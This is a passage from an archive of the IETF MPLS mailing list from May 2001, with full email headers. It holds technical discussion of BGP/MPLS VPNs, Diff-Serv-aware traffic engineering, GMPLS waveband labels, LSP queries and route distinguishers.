	id QQkpxc22616;
	Mon, 21 May 2001 01:12:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkpxc16714
	for mpls-outgoing; Mon, 21 May 2001 01:12:05 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpxc16704
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 01:12:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpxc11782
	for <mpls@uu.net>; Mon, 21 May 2001 01:10:52 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpxc21545
	for <mpls@uu.net>; Mon, 21 May 2001 01:10:51 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id VAA06859 for mpls@uu.net; Sun, 20 May 2001 21:10:51 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpxc16511
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 01:10:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpxc02620
	for <mpls@UU.NET>; Mon, 21 May 2001 01:09:06 GMT
Received: from che-cse-113.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: che-cse-113.cisco.com [161.44.143.19])
	id QQkpxc28532
	for <mpls@UU.NET>; Mon, 21 May 2001 01:09:05 GMT
Received: (from eosborne@localhost) by che-cse-113.cisco.com (8.8.5/CA/950118) id VAA14462; Sun, 20 May 2001 21:08:52 -0400 (EDT)
Date: Sun, 20 May 2001 21:08:52 -0400
From: Eric Osborne <eosborne@cisco.com>
To: Bala Subrahmanyam Venkata <bsubrahm@doradosoftware.com>
Cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: BGP/MPLS VPN over a TE'd  core..
Message-ID: <20010520210852.A14457@che-cse-113.cisco.com>
References: <NDBBKELCHKLNIGOMMOINMENACFAA.bsubrahm@doradosoftware.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <NDBBKELCHKLNIGOMMOINMENACFAA.bsubrahm@doradosoftware.com>; from bsubrahm@doradosoftware.com on Sun, May 20, 2001 at 05:10:26PM -0700
X-GPG-Fingerprint: 6412 0836 E440 B3EA 980C  4951 611E 1819 2E71 8562
Sender: owner-mpls@UU.NET
Precedence: bulk

On Sun, May 20, 2001 at 05:10:26PM -0700, Bala Subrahmanyam Venkata wrote:
> All-
> 

> Are there any references for creating 'standard' BGP/MPLS VPNs over
> a traffic engineered core ?

Nope.

>  I was reading through Juniper's doc on BGP/MPLS
> VPN creation (the "MPLS Applications" guide on their website) but it does
> not specify how I would engineer my core for a specific VPN (specifically,
> is it possible to select a particular 'pre-created' LSP that I have with
> explicit hops and certain service parameters for a given BGP/MPLS VPN ?) It
> will be better if you can tell me if this is a valid requirement for an ISP.
> 

How (or whether) you can do this is vendor-specific.



eric 

> 
> TIA,
> 
> bala
> 
> 
> 



From owner-mpls@UU.NET  Mon May 21 00:01:15 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA18007
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 00:01:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpxo07627;
	Mon, 21 May 2001 04:00:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkpxo08572
	for mpls-outgoing; Mon, 21 May 2001 04:00:02 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpxn08401
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 03:59:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpxn18672
	for <mpls@UU.NET>; Mon, 21 May 2001 03:57:06 GMT
Received: from hopper.math.uwaterloo.ca by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hopper.math.uwaterloo.ca [129.97.78.132])
	id QQkpxn10747
	for <mpls@UU.NET>; Mon, 21 May 2001 03:57:06 GMT
Received: from localhost (wwszeto@localhost)
	by hopper.math.uwaterloo.ca (8.8.8/8.8.8) with ESMTP id XAA20380
	for <mpls@UU.NET>; Sun, 20 May 2001 23:57:06 -0400 (EDT)
Date: Sun, 20 May 2001 23:57:06 -0400 (EDT)
From: "Wayne W. Szeto" <wwszeto@hopper.math.uwaterloo.ca>
To: mpls@UU.NET
Subject: Questions on MPLS and Diff-Serv
Message-ID: <Pine.SOL.4.05.10105202158110.17247-100000@hopper.math.uwaterloo.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

After reading the Internet draft "Requirement for support of 
Diff-Serv-aware MPLS traffic Engieering", I have some questions about
Diff-Serv in MPLS.  

1.  The Internet draft stated a bandwidth reservation scheme which
reserves bandwidth in a per class-type manner, and it also mentioned a
possible enhancement of the above scheme which allows borrowing of
bandwidths between class types.  The "borrowing" part leads me to think
that only the reserved amount of bandwidth will be used for a certain
class-type packet even though there are available unreserved bandwidth for
other class types.  For example, if a link's capacity is 10Mbps and 3Mbps
has been reserved by class type A, and the rest of the bandwidth is
unreserved, then even if the incoming class type A packet rate is more
than 3Mbps, only 3Mbps of the link bandwidth will be used.  Is this true?  

2. On ch6 (p9) of the draft, it says: "If the Diff-Serv packet scheduling
mechanisms are configured statically, it is possible, however, that the
allocation of resources by Diff-Serv-aware Traffic Engineering for
reservation purposes will not always correspond with the resources
allocated in the packet scheduler."  What does configuring packet
scheduling statiscally mean?  My guess is that the packet scheduler is
configure with a reserved bandwidth value during LSP setup, and this value
will not change unless an LSP modification process is performed.



From owner-mpls@UU.NET  Mon May 21 04:47:17 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA03978
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 04:47:17 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpyh11026;
	Mon, 21 May 2001 08:45:41 GMT
Received: by mail-control.mail.uu.net 
	id QQkpyh06187
	for mpls-outgoing; Mon, 21 May 2001 08:45:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpyg05940
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 08:44:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpyg19528
	for <mpls@uu.net>; Mon, 21 May 2001 08:44:54 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpyg10743
	for <mpls@uu.net>; Mon, 21 May 2001 08:44:54 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id EAA20864 for mpls@uu.net; Mon, 21 May 2001 04:44:53 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpyg05908
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 08:44:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpyg14489
	for <MPLS@uu.net>; Mon, 21 May 2001 08:43:12 GMT
Received: from auemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail2.lucent.com [192.11.223.163])
	id QQkpyg10234
	for <MPLS@uu.net>; Mon, 21 May 2001 08:43:11 GMT
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4L8hBr06572
	for <MPLS@uu.net>; Mon, 21 May 2001 04:43:11 -0400 (EDT)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4L8h6p06544
	for <MPLS@uu.net>; Mon, 21 May 2001 04:43:10 -0400 (EDT)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id KAA10171; Mon, 21 May 2001 10:43:05 +0200 (MET DST)
Cc: manojkumarjuneja@hotmail.com, ccamp@ops.ietf.org, MPLS@UU.NET
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id KAA10148; Mon, 21 May 2001 10:43:02 +0200 (MET DST)
Message-ID: <3B08D516.3C7B7C1B@lucent.com>
Date: Mon, 21 May 2001 10:43:02 +0200
From: Maarten Vissers <mvissers@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Yuri Landry <yurilandry@hotmail.com>
Original-CC: manojkumarjuneja@hotmail.com, ccamp@ops.ietf.org, MPLS@uu.net
Subject: Re: GMPLS Message Structures
References: <F150hFOWd8T408Oh1pM00002011@hotmail.com>
Content-Type: multipart/mixed;
 boundary="------------EBBF11179F3A7C91813BD881"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------EBBF11179F3A7C91813BD881
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Manoj, Yuri,

In my current understanding, a waveband is a group of OCh (optical
channel) signals located in a contiguous set of tributary (i.e.
frequency) slots.

A waveband is therefore related to partitioning, rather than a layering.
A waveband shouldn't have an LSP encoding type itself, but instead be
part of the OCh layer network. E.g. a specific RGT (requested groupting
type) of "contiguous waveband" can be defined for this purpose with the
RNC (requested number of components) indicating the size of the
waveband.

The above is simply a first shot; in general the issue can be more
complex due to the fact that the frequency slot for a 2G5, a 10G and a
40G signal may have differnet bandwidths: e.g. 2G5 freq. slot width e.g.
25 GHz, 10G freq. slot width e.g. 50 GHz and 40G freq. slot width e.g.
100 GHz. For the case of (future?) mixed rate WDM signals with bit rate
optimized freq. slot widths, a waveband might need a start-of-waveband
and end-of-waveband (SOW-EOW) indication, instead of RNC.

Regards,

Maarten

Yuri Landry wrote:
> 
> Mano,
> 
> >            Can someone tell me the message structure of Label Request and
> >Label Mapping in GMPLS ?
> >I am confused about the presence of LightPath Id in O-UNI messages and LSP
> >Id in GMPLS messages ? Is there one-to-one mapping between these Ids or Is
> >it like that both lightPath Id and LSP Id will be carried in GMPLS messages
> >? LSP Id is not present in O-UNI messages. Can one LightPath Id be mapped
> >to
> >multiple LSP Ids or vice versa ?
> 
> I think you mean Connection ID and LSP ID. A connection ID is an ID for
> network connection, which may consist many LSPs. For example, the virtual
> concatenation case.
> 
> A LSP may tunnel through multiple pre-established connections.
> 
> >Also, for waveband switching, the genralized label has the format
> >(wavebandId - start label - end label).
> >When the label request message is received on incoming interface, how to
> >identify that the waveband label is requested ?
> >Is it the LSP encoding type or some other parameter in label request
> >message
> >? If it is the Lambda encoding type then how to identify that whether a
> >lambda or waveband label is requested ?
> >
> >Also, it is mentioned that wavebandId (32 bits) is selected by the sender
> >and reused in all the subsequent messages. What all subsequent
> >messages is it mentioning to ?
> >
> >Can wavebandId be present in Label Withdraw/Release messages ?
> >
> >I am not able to workout the message structures for GMPLS.
> >
> 
> To me waveband label defined in GMPLS drafts is a joke. The reason to have
> the waveband label is that someone claimed that the waveband's order might
> flip when going through a switch. My suggestion is don't take it seriously.
> 
> >I am not sure how these drafts are at last call. Atleast it should mention
> >the message structures of various messages.
> >
> 
> Agree.
> 
> Regards,
> 
> Yuri
> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com
--------------EBBF11179F3A7C91813BD881
Content-Type: text/x-vcard; charset=us-ascii;
 name="mvissers.vcf"
Content-Description: Card for Maarten Vissers
Content-Disposition: attachment;
 filename="mvissers.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Vissers;Maarten
tel;cell:+31 62 061 3945
tel;fax:+31 35 687 5976
tel;home:+31 35 526 5463
tel;work:+31 35 687 4270
x-mozilla-html:FALSE
org:Optical Network Group;Lucent Technologies Nederland
version:2.1
email;internet:mvissers@lucent.com
title:Consulting Member of Technical Staff
adr;quoted-printable:;;Botterstraat 45=0D=0A=0D=0A;1271 XL Huizen;;;The Netherlands
fn:Maarten Vissers
end:vcard

--------------EBBF11179F3A7C91813BD881--



From owner-mpls@UU.NET  Mon May 21 06:55:30 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA04846
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 06:55:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpyp24174;
	Mon, 21 May 2001 10:54:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkpyp24433
	for mpls-outgoing; Mon, 21 May 2001 10:53:52 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpyp24428
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 10:53:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpyp02668
	for <mpls@UU.NET>; Mon, 21 May 2001 10:53:25 GMT
Received: from tomp.smb.utfors.se by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tomp.smb.utfors.se [195.58.112.6])
	id QQkpyp18150
	for <mpls@UU.NET>; Mon, 21 May 2001 10:53:24 GMT
Received: from utfors.se ([10.58.0.153]) by tomp.smb.utfors.se
          (Netscape Messaging Server 4.15) with ESMTP id GDOMD000.C3A;
          Mon, 21 May 2001 12:55:48 +0200 
Message-ID: <3B08F3A2.C35435F9@utfors.se>
Date: Mon, 21 May 2001 12:53:22 +0200
From: Loa Andersson <loa.andersson@utfors.se>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Don Fedyk <dwfedyk@nortelnetworks.com>
CC: Eric Gray <eric.gray@sandburst.com>, MPLS Mailing List <mpls@UU.NET>
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <F033F6FEF3F1D111BD150000F8CD143106F4F64B@zcard007.ca.nortel.com>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQkpyp24174
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id GAA04846

Don,

I think Eric and I agreed that perfect/precise knowledge of the
state of the network is not possible. What I suggested was that
the IGPgives me the knowledge I need, i.e. good enough.

The precision/prefection of the knowledge gained by the IGP vs.
a query is not better or worse, just different.

The situation I talked about was when the dynamic aspect of e.g.
has changed a link, because of changes in the IGP, not the other
way around.

Have you caluclated the amount of state that needs to be kept and
the amount of traffic to be sent and/or received to second-guess
the IGP - assuming that you uses just ten percent of the available
label speace?

/Loa

> Don Fedyk wrote:

> > > Loa,
> > >
> > >     Because you cannot have perfect knowledge of the state of
> > > the network.  What you say about the difference in the state of
> > > the network between times 't' and 't+n' will also be true of the
> 
> > > difference between times 't+(a(n))' and 't+((a+1)(n))'.
> >
> > This seems to strengthen what I said. At any point in time, after
> > just shortly before the receipt of the query response, there is
> > an uncertainty in the
> >
> > > And
> > > what constitutes 'good enough' knowledge of the state of the
> > > network may be difficult to standardize - especially without
> > > some real deployment experience.
> >
> > The conservative position would be that you have "good enough"
> > knowledge from the IGP.
> 
> Not really. You have knowledge of aggregates but a query gives you
> precise
> information. You don't need to update the IGP every time a path
> changes
> you only need to when thresholds have been crossed. As far as
> knowing when to
> query it is quite reasonable to keep a path changed state a the end
> of
> an LSP that can tell you whether there is change since the last
> query.
> 
> <snip>
> 
> Don

-- 
Loa Andersson
Chief Architect,
Utfors Research, Architecture and Future Lab (URAX)
Utfors AB
Råsundavägen 12
Box 525, 169 29 Solna
Office          +46 8 5270 2000
Office direct   +46 8 5270 5038
Mobile          +46 70 848 5038
Email           loa.andersson@utfors.se
WWW             www.utfors.se


From owner-mpls@UU.NET  Mon May 21 08:58:11 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA08420
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 08:58:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpyx26596;
	Mon, 21 May 2001 12:57:33 GMT
Received: by mail-control.mail.uu.net 
	id QQkpyx12267
	for mpls-outgoing; Mon, 21 May 2001 12:57:04 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpyw11230
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 12:44:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpyw05141
	for <mpls@UU.NET>; Mon, 21 May 2001 12:40:31 GMT
Received: from tenornetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQkpyw05993
	for <mpls@UU.NET>; Mon, 21 May 2001 12:40:26 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f4LCePK02914;
	Mon, 21 May 2001 08:40:25 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          MON, 21 May 2001 08:34:48 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <K8DGJ8ZX>; Mon, 21 May 2001 08:34:47 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56993E66@newman.tenornet.com>
From: "Shah, Himanshu" <hshah@tenornetworks.com>
To: "'Ju, Yu'" <Yu.Ju@marconi.com>, "'mpls@UU.net'" <mpls@UU.NET>
Subject: RE: Route Distinguisher in MPLS/BGP VPN
Date: Mon, 21 May 2001 08:34:41 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Assuming that import RT on Pc matches RT sent from Pa and
Pb, both of these routes will end up in same VRF in Pc. They
will appear as different routes in VRF because of different RD.

This is a misconfiguration (on Pa or Pb). RD should have been
configured same for the VRF that belongs to that VPN.

As a result, the later arrived VPN-IPV4 will prevail for the 
purposes of route redistribution in IGP and packet forwarding.
Ocillation will continue due to subsequent advertisements...

my 2c,
/himanshu

Himanshu Shah
Tenor Networks
Acton, MA

-----Original Message-----
From: Ju, Yu [mailto:Yu.Ju@marconi.com]
Sent: Friday, May 18, 2001 4:55 PM
To: 'mpls@UU.net'
Subject: Route Distinguisher in MPLS/BGP VPN


Hi,

I have the following question.

Suppose  CE routers Ca, Cb, Cc are connected to PE routers Pa, Pb, Pc
respectively and the CE routers are all in one VPN. Ca and Cb both advertise
a route to a prefix P.  Then PE routers Pa and Pb will advertise VPN-IPv4
route to Pc. If Pa and Pb use different route distinguisher for the same
prefix P, then at PE router Pc, which route should Pc choose? Note that the
two VPN-IPV4 route are not comparable since they have different route
distinguisher.

Thanks,

Yu


From owner-mpls@UU.NET  Mon May 21 09:21:38 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08989
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 09:21:33 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpyz23168;
	Mon, 21 May 2001 13:20:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkpyz03492
	for mpls-outgoing; Mon, 21 May 2001 13:20:25 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpyz03485
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 13:20:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpyz23598
	for <mpls@uu.net>; Mon, 21 May 2001 13:17:01 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpyz00166
	for <mpls@uu.net>; Mon, 21 May 2001 13:17:00 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id JAA02670 for mpls@uu.net; Mon, 21 May 2001 09:17:00 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpyy02578
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 13:12:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpyy10226
	for <mpls@UU.NET>; Mon, 21 May 2001 13:10:51 GMT
Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: pilgrim.cisco.com [171.69.204.12])
	id QQkpyy19967
	for <mpls@UU.NET>; Mon, 21 May 2001 13:10:51 GMT
Received: from DTAPPAN-W2K.cisco.com (tappan-frame1.cisco.com [10.83.99.42])
	by pilgrim.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id JAA09015;
	Mon, 21 May 2001 09:10:35 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010521090359.02159240@pilgrim.cisco.com>
X-Sender: tappan@pilgrim.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 21 May 2001 09:10:12 -0400
To: "Shah, Himanshu" <hshah@tenornetworks.com>
From: Dan Tappan <tappan@cisco.com>
Subject: RE: Route Distinguisher in MPLS/BGP VPN
Cc: "'Ju, Yu'" <Yu.Ju@marconi.com>, "'mpls@UU.net'" <mpls@UU.NET>
In-Reply-To: <6B190B34070BD411ACA000B0D0214E56993E66@newman.tenornet.com
 >
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 08:34 AM 5/21/2001 -0400, Shah, Himanshu wrote:
>Assuming that import RT on Pc matches RT sent from Pa and
>Pb, both of these routes will end up in same VRF in Pc. They
>will appear as different routes in VRF because of different RD.
>
>This is a misconfiguration (on Pa or Pb). RD should have been
>configured same for the VRF that belongs to that VPN.


This is incorrect. There is no requirement that routes in the same VRF use 
the same RD. The RD serves to make routes unique within BGP. The only 
requirements are
a. if two VPNv4 routes have the same RD and IPv4 parts, then they must be 
comparable routes.
b. if two routes are imported into the same VRF and have the same IPv4 
parts (but possibly different RDs) then they must be comparable routes

A correct implementation will ignore the RD when comparing routes in the 
same VRF in case (b).


>As a result, the later arrived VPN-IPV4 will prevail for the
>purposes of route redistribution in IGP and packet forwarding.
>Ocillation will continue due to subsequent advertisements...


And in any case oscillation should not occur, same or different RD, since 
the BGP bestpath should produce a deterministic result between the two routes.

>my 2c,
>/himanshu
>
>Himanshu Shah
>Tenor Networks
>Acton, MA
>
>-----Original Message-----
>From: Ju, Yu [mailto:Yu.Ju@marconi.com]
>Sent: Friday, May 18, 2001 4:55 PM
>To: 'mpls@UU.net'
>Subject: Route Distinguisher in MPLS/BGP VPN
>
>
>Hi,
>
>I have the following question.
>
>Suppose  CE routers Ca, Cb, Cc are connected to PE routers Pa, Pb, Pc
>respectively and the CE routers are all in one VPN. Ca and Cb both advertise
>a route to a prefix P.  Then PE routers Pa and Pb will advertise VPN-IPv4
>route to Pc. If Pa and Pb use different route distinguisher for the same
>prefix P, then at PE router Pc, which route should Pc choose? Note that the
>two VPN-IPV4 route are not comparable since they have different route
>distinguisher.
>
>Thanks,
>
>Yu



From owner-mpls@UU.NET  Mon May 21 11:30:28 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11224
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 11:30:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpzh23881;
	Mon, 21 May 2001 15:29:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkpzh23791
	for mpls-outgoing; Mon, 21 May 2001 15:28:41 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpzh23781
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 15:28:26 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpzh15942
	for <mpls@uu.net>; Mon, 21 May 2001 15:28:07 GMT
Received: from localhost.localdomain by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [216.42.43.22])
	id QQkpzh23548
	for <mpls@uu.net>; Mon, 21 May 2001 15:28:06 GMT
Received: from webfo1 (IDENT:nobody@webfo1 [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id LAA29467
	for <mpls@uu.net>; Mon, 21 May 2001 11:25:21 -0400
Message-ID: <-296916676.990458721954.JavaMail.nobody@webfo1>
Date: Mon, 21 May 2001 11:25:21 -0400 (EDT)
From: George Thomas <george_thomas@mailroom.com>
Reply-To: george_thomas@mailroom.com
To: mpls@UU.NET
Subject: Test Mail - Pls Ignore
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=-559322820.990458721950.JavaMail.nobody.webfo1
Sender: owner-mpls@UU.NET
Precedence: bulk

---559322820.990458721950.JavaMail.nobody.webfo1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit




---559322820.990458721950.JavaMail.nobody.webfo1--



From owner-mpls@UU.NET  Mon May 21 11:36:20 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11310
	for <mpls-archive@lists.ietf.org>; Mon, 21 May 2001 11:36:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpzi28229;
	Mon, 21 May 2001 15:34:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkpzi24413
	for mpls-outgoing; Mon, 21 May 2001 15:33:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpzi24396
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 15:33:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpzi13441
	for <mpls@uu.net>; Mon, 21 May 2001 15:31:29 GMT
Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkpzi06566
	for <mpls@uu.net>; Mon, 21 May 2001 15:31:28 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4LFVQ920277
